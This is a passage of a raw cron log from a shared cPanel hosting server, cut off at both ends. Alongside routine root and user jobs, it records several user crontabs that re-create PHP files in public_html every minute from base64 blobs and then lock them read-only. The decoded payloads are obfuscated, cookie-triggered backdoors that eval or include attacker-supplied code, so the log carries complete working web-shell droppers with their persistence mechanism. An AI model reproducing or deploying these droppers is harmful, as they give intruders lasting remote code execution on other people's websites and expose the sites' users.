"$fp")
Apr 19 07:01:02 medusa CROND[756]: (root) CMD (run-parts /etc/cron.hourly)
Apr 19 07:01:02 medusa run-parts(/etc/cron.hourly)[756]: starting 0anacron
Apr 19 07:01:02 medusa run-parts(/etc/cron.hourly)[958]: finished 0anacron
Apr 19 07:02:02 medusa CROND[23282]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:02:02 medusa CROND[23283]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:02:02 medusa CROND[23285]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 07:02:02 medusa CROND[23286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:02:02 medusa CROND[23287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:02:02 medusa CROND[23289]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:02:02 medusa CROND[23290]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:02:02 medusa CROND[23295]: (wmondolo) CMD (/usr/local/bin/php -q /home12/wmondolo/public_html/corrector.php > /dev/null)
Apr 19 07:02:02 medusa CROND[23296]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:02:02 medusa CROND[23297]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:02:02 medusa CROND[23299]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:02:02 medusa CROND[23300]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:02:02 medusa CROND[23298]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:02:02 medusa CROND[23305]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:03:01 medusa CROND[11028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:03:01 medusa CROND[11049]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 07:03:01 medusa CROND[11078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:03:01 medusa CROND[11112]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:03:01 medusa CROND[11113]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:03:01 medusa CROND[11115]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:03:01 medusa CROND[11118]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:03:01 medusa CROND[11119]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:03:01 medusa CROND[11121]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:03:01 medusa CROND[11116]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:03:01 medusa CROND[11122]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:03:01 medusa CROND[11131]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:03:01 medusa CROND[11135]: (dvrwebcom) CMD (wget -O - -q -t 1 https://dvrweb.com.ar/cron/TFWp9Evg6VC1sv8IE8Na2W9fenvWY12YO3Y-d1qPcJK2Nfa2oj_gFfKbm5qAG6Ja8NZTvsgLfg > /dev/null)
Apr 19 07:04:01 medusa CROND[30483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:04:01 medusa CROND[30515]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 07:04:01 medusa CROND[30518]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:04:01 medusa CROND[30643]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:04:01 medusa CROND[30644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:04:01 medusa CROND[30645]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 